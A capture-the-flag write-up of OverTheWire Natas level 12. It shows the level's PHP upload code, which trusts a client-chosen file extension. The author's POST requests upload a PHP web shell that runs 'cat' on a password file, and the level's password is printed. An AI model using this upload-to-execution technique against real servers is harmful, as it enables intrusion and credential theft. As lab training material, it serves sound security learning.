OverTheWire Wargames :: Natas :: Level 12
Level 12 > Level 13
[...]
<h1>natas12</h1>
<div id="content">
<?
function genRandomString() {
$length = 10;
$characters = "0123456789abcdefghijklmnopqrstuvwxyz";
$string = "";
for ($p = 0; $p < $length; $p++) {
$string .= $characters[mt_rand(0, strlen($characters)-1)];
}
return $string;
}
function makeRandomPath($dir, $ext) {
do {
$path = $dir."/".genRandomString().".".$ext;
} while(file_exists($path));
return $path;
}
function makeRandomPathFromFilename($dir, $fn) {
$ext = pathinfo($fn, PATHINFO_EXTENSION);
return makeRandomPath($dir, $ext);
}
if(array_key_exists("filename", $_POST)) {
$target_path = makeRandomPathFromFilename("upload", $_POST["filename"]);
if(filesize($_FILES['uploadedfile']['tmp_name']) > 1000) {
echo "File is too big";
} else {
if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) {
echo "The file <a href=\"$target_path\">$target_path</a> has been uploaded";
} else{
echo "There was an error uploading the file, please try again!";
}
}
} else {
?>
<form enctype="multipart/form-data" action="index.php" method="POST">
<input type="hidden" name="MAX_FILE_SIZE" value="1000" />
<input type="hidden" name="filename" value="<? print genRandomString(); ?>.jpg" />
Choose a JPEG to upload (max 1KB):<br/>
<input name="uploadedfile" type="file" /><br />
<input type="submit" value="Upload File" />
</form>
<? } ?>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>
Run it once normally to see how it behaves. Uploading a tiny image of a Thor hammer I found online results in the following POST request body and response.
-----------------------------58323604319210243021201378353
Content-Disposition: form-data; name="MAX_FILE_SIZE"
1000
-----------------------------58323604319210243021201378353
Content-Disposition: form-data; name="filename"
u117acfgc6.jpg
-----------------------------58323604319210243021201378353
Content-Disposition: form-data; name="uploadedfile"; filename="thor.jpg"
Content-Type: image/jpeg
[...]
-----------------------------58323604319210243021201378353--
<h1>natas12</h1>
<div id="content">
The file <a href="upload/qtqgaelc6b.jpg">upload/qtqgaelc6b.jpg</a> has been uploaded<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
A visit to upload/qtqgaelc6b.jpg
confirms the image was uploaded as intended.
The name u117acfgc6.jpg
was generated by the following line of code in the page.
<input type="hidden" name="filename" value="<? print genRandomString(); ?>.jpg" />
It is passed to the server in the POST request, meaning we can submit our own value rather than what would be returned by genRandomString()
. Also, this means we don’t need to use .jpg
as the extension. There is no evidence to suggest that the file is verified to be a jpg
in any way, either.
Test this theory by uploading and viewing a text file.
-----------------------------58323604319210243021201378353
Content-Disposition: form-data; name="MAX_FILE_SIZE"
1000
-----------------------------58323604319210243021201378353
Content-Disposition: form-data; name="filename"
himom.txt
-----------------------------58323604319210243021201378353
Content-Disposition: form-data; name="uploadedfile"; filename="thor.jpg"
hi mom
-----------------------------58323604319210243021201378353--
<div id="content">
The file <a href="upload/z2xt622p6y.txt">upload/z2xt622p6y.txt</a> has been uploaded<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
The next thing to wonder is if we can ‘upload’ a php file and execute it…
-----------------------------58323604319210243021201378353
Content-Disposition: form-data; name="MAX_FILE_SIZE"
1000
-----------------------------58323604319210243021201378353
Content-Disposition: form-data; name="filename"
shitsgoingdown.php
-----------------------------58323604319210243021201378353
Content-Disposition: form-data; name="uploadedfile"; filename="thor.jpg"
<?php phpinfo(); ?>
-----------------------------58323604319210243021201378353--
<div id="content">
The file <a href="upload/hhbhtomk6e.php">upload/hhbhtomk6e.php</a> has been uploaded<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
Yep, it’s over.
-----------------------------58323604319210243021201378353
Content-Disposition: form-data; name="MAX_FILE_SIZE"
1000
-----------------------------58323604319210243021201378353
Content-Disposition: form-data; name="filename"
ohcrap.php
-----------------------------58323604319210243021201378353
Content-Disposition: form-data; name="uploadedfile"; filename="thor.jpg"
<?php echo exec("cat /etc/natas_webpass/natas13"); ?>
-----------------------------58323604319210243021201378353--
<div id="content">
The file <a href="upload/a7vs4em78m.php">upload/a7vs4em78m.php</a> has been uploaded<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
jmLTY0qiPZBbaKc9341cqPQZBJv7MQbY
Thanks to my co-worker Dejan who said something like “I wonder if you can upload a PHP file?!” near me while I was doing this.